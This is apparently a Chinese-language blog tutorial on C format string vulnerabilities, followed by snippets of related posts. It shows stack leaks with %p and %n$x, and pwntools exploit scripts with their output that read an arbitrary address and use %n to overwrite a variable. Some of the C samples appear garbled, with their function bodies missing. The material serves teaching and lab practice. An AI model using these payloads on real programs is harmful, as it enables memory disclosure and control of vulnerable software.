格式化字串漏洞

2021-09-27 15:25:00 字數 2907 閱讀 1714

在編寫程式時由於編寫的不規範有可能產生這個漏洞。

下面乙個例子

#includeint a=2;

int main()

編譯時使用 gcc test.c -m32表示編譯成32位的程式

上面這個例子便是乙個很簡單的格式化字串漏洞,產生格式化字串漏洞需要兩個條件

下面講解printf輸出的原理

eg:name=『sun』;

age=21;

printf(「this is %s,age is %d」,name,age);

根據printf的原理當將程式編寫為printf(b);便可以通過構造b來進行一些攻擊操作

下面那這個例子做實驗:

1.

sun@ubuntu:~/desktop/test$ ./a.out

%ssegmentation fault (core dumped)

sun@ubuntu:~/desktop/test$

當我們輸入%s時直接報錯了,這個報錯表示訪問了不能訪問的記憶體,下面了解一下發生了什麼。

使用gdb進行除錯

0x080484ee <+51>: lea eax,[ebp-0x70]

0x080484f1 <+54>: push eax

0x080484f2 <+55>: call 0x8048370 這是其中一段彙編

可以看到這個printf只入棧了乙個引數,printf會掃瞄第乙個引數,當我們輸入第乙個引數時%s時,printf函式發現是%開頭的因此會尋找第二個引數將這個%s替換掉,我們知道只入棧了乙個引數,但是程式並不知道到,會繼續尋找 0x080484f1 <+54>: push eax這個入棧上面的乙個資料,會將他上面的乙個當成printf函式的第二個引數,由於是%s因此,printf會將這個訪問的內容當成乙個字串的位址,如果這個位址不合法便會報錯了。

如果將這個程式編譯為64位的程式,printf會將rdi當成第乙個引數,將rsi當成第二個引數,如果此時rsi的內容不是乙個合法的位址,也會出現這種錯誤。

這也算一種攻擊方式,雖然不能getshell,但是能夠使程式終止執行。

2.sun@ubuntu:~/desktop/test$ ./a.out

%p.%p.%p.%p

0xff9b0488.0xc2.0xf7df88fb.0xff9b04aesun@ubuntu:~/desktop/test$

這個表示可以洩露棧中的內容,通過%p或者%x將棧中的內容以十六進製制的格式寫出來。

需要注意的是洩露出的棧的內容和使用gdb顯示的gdb的棧的內容不全一樣,這是因為在gdb中棧的位址和直接執行的程式的棧的位址不同,使用%s傳遞的引數是位址,因此會有不同。

可以使用%n$x這種格式直接輸出棧的任意位址的內容,n表示第n+1個引數,x表示以十六進製制輸出。

eg:sun@ubuntu:~/desktop/test$ ./a.out

%2$x

c2sun@ubuntu:~/desktop/test$ ./a.out

%2$p

0xc2sun@ubuntu:~/desktop/test$

可以看到輸出的第三個引數和上面那個一樣都是0xc2

#include#includechar a="hello sun";

int main()

首先判斷buf的偏移位置

sun@ubuntu:~/desktop/test$ ./a.out 

aaaa%p.%p.%p.%p.%p.%p

aaaa0xffd0eae8.0x64.0xf7e158fb.0xffd0eb0e.0xffd0ec0c.0x61616161

可以得到aaaa的對應的是0x61616161因此偏移是6個

利用:

from pwn import *

p=process("./a.out")

payload=p32(0x0804a024)+"%6$s"

p.sendline(payload)

print p.recv()

#print p.recvline()

sun@ubuntu:~/desktop/test$ python 1.py

[+] starting local process './a.out': pid 3079

[*] process './a.out' stopped with exit code 0 (pid 3079)

$\xa0\x0hello sun

可以的到字串的內容hello sun

可以使用%n引數來進行任意位址的寫操作,會將輸出的字元個數寫入對應的位址內

下面是乙個例子

#include#includeint a=1;

int main()

可以看到當a=100時才會seccessful

from pwn import *

p=process("./a.out")

payload=p32(0x0804a028)+"%16d%6$n"

p.sendline(payload)

print p.recv()

#print p.recvline()

sun@ubuntu:~/desktop/test$ python 1.py

[+] starting local process './a.out': pid 3157

[*] process './a.out' stopped with exit code 0 (pid 3157)

(\xa0\x0 -5812248

\x19��p\xa7\xff\x88\x82\x0successful

格式化字串漏洞簡介

格式化字串,也是一種比較常見的漏洞型別。會觸發該漏洞的函式很有限。主要就是printf還有sprintf,fprintf等等c庫中print家族的函式。我們先來看看printf的函式宣告 int printf const char format,這個是每個學過c語言的人一定會知道 會使用的函式。先是...

格式化字串漏洞歸納

主要是構建框架,沒有詳細闡述內容 分為兩部分,漏洞原理與利用方式 通常來說,利用格式化字串漏洞使得程式崩潰是最為簡單的利用方式,因為我們只需要輸入若干個 s即可。這是因為棧上不可能每個值都對應了合法的位址,所以總是會有某個位址可以使得程式崩潰。這一利用,雖然攻擊者本身似乎並不能控制程式,但是這樣卻可...

pwn 格式化字串漏洞

原理 因為沒有正確使用printf 函式 正確使用 printf s str 不正規使用 printf str 控制字串str可以爆出stack內內容從而實現任意位址讀或者任意位址寫 入門題01 18行存在格式化字串漏洞 只需輸入在hello之後輸入password所在位址,接收password值再...